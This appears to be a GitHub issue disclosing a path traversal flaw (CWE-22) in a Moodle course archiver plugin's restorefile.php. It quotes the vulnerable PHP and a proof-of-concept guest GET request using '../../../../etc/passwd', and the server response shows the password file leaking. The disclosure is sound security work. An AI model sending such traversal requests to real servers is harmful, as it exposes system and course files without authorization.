Skip to content

Path traversal vulnerability in restorefile.php #74

Description

@tmartineau98

Hi,
While reviewing restorefile.php, I noticed a potential path traversal issue in how the archive file path is constructed::

Path traversal (CWE-22)
The archive path is built like this:

$filename = required_param('filename', PARAM_TEXT);
$filepath = required_param('filepath', PARAM_PATH);
...
$archive = $rootpath . '/' . $archivepath . '/' . $filepath . '/' . $filename;

$filename uses PARAM_TEXT, which doesn't restrict path separators or ../ sequences.
$filepath uses PARAM_PATH, which sanitizes some characters but doesn't reliably strip directory traversal sequences.

This could allow $archive to resolve outside the intended root directory, affecting file_exists(), create_file_from_pathname(), and send_file().

Also, no capability is required to call this file, any guest user could download a course archive or any files from outside the intended path

GET /admin/tool/coursearchiver/restorefile.php?filename=../../../../etc/passwd&filepath=&contextid=1&download=1 HTTP/1.1
Host: [Moodle Host]
Cookie: MoodleSession=[GUEST SESSION];
User-Agent: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
HTTP/1.1 200 OK
date: Fri, 03 Jul 2026 12:34:52 GMT
server: Apache
x-accel-buffering: no
content-disposition: inline; filename="../../../../etc/passwd"
cache-control: private, max-age=10, no-transform
expires: Thu, 01 Jan 1970 00:00:00 GMT
pragma:
accept-ranges: bytes
x-xss-protection: 1; mode=block
x-frame-options: SAMEORIGIN
expect-ct: max-age=604800, enforce
x-content-type-options: nosniff
etag: "89c1576c0bcca2c303947bae1d3a9c5e05b73cb2"
last-modified: Thu, 02 Jul 2026 20:50:42 GMT
content-type: application/octet-stream
strict-transport-security: max-age=31536000; includeSubDomains; preload;
Content-Length: 2199
 
root:x:0:0:root:/root:/bin/bash
...

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions